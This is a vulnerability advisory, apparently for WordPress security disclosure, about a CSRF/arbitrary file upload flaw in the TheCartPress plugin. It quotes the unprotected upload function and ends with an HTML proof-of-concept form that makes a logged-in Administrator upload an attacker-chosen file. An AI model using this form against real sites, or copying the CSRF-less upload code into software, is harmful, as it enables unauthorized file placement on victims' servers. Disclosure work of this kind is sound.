Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in TheCartPress
In February we saw what looked like it might be a hacker probing for usage of the plugin TheCartPress. While we already had a vulnerability in our data that could have been what a hacker might be targeting, we started looking for any other vulnerabilities in the current version that might be of interest of a hacker. While doing that we found a cross-site request forgery (CSRF)/arbitrary file upload vulnerability, which could allow an attacker to cause a logged in Administrator to upload a file to the website. The file is placed in a directory that is restricted from access through a .htaccess file, so the file would only be accessible on servers that don’t use those file (several of which are supported for use with WordPress) or using a local file inclusion (LFI) vulnerability. The combination of the type of vulnerability and that restriction make it unlikely that this vulnerability would be exploited.
The vulnerability exists in the file /admin/UploadFiles.php, which is made accessible to Administrators through the following line in the /TheCartPress.class.php:
800 | add_submenu_page( 'tcp' , __( 'Upload files', 'tcp' ), __( 'Upload files', 'tcp' ), 'tcp_edit_product', TCP_ADMIN_FOLDER . 'UploadFiles.php' ); |
In the file /admin/UploadFiles.php the upload is handled through the function tcp_upload_file(), which does not have protection against CSRF before the file is saved to the filesystem using move_uploaded_file():
34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | function tcp_upload_file( $post_id, $file ) { global $thecartpress; global $error_upload; $rev_name = strrev( $_FILES['upload_file']['name'] ); $i = strpos( $rev_name, '.' ); $ext = strrev( substr( $rev_name, 0, $i ) ); $downloadable_path = isset( $thecartpress->settings['downloadable_path'] ) ? trim( $thecartpress->settings['downloadable_path'] ) : ''; if ( strlen( $downloadable_path ) == 0 ) { wp_die( __( 'The path where the downloadable files must be saved is not set.', 'tcp' ) ); return false; } else { global $wpdb; //$folder_path = $downloadable_path . '/' . $wpdb->prefix . 'tcp'; $folder_path = $downloadable_path . '/tcp'; if ( ! file_exists( $folder_path ) ) if ( ! wp_mkdir_p( $folder_path ) ) { $error_upload = sprintf( __( 'Error creating the folder "%s".', 'tcp' ), $folder_path ); return false; } $file_path = $folder_path . '/upload_' . $post_id . '.' . $ext; tcp_set_the_file( $post_id, $file_path ); if ( move_uploaded_file( $_FILES['upload_file']['tmp_name'], $file_path ) ) { |
Proof of Concept
The following proof of concept will cause the chosen file to be uploaded to the directory /wp-content/plugins/thecartpress/uploads/tcp/, when logged in as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[ID of Product Post]” with the ID of a post for an existing product (which is listed in numerous places in the source code of product’s page).
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin.php?page=thecartpress%2Fadmin%2FUploadFiles.php&post_id=14" method="POST" enctype="multipart/form-data"> <input type="hidden" name="post_id" value="[ID of product post]" > <input type="hidden" name="tcp_upload_virtual_file" value="Upload file"> <input type="file" name="upload_file" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- February 6, 2017 – Developer notified.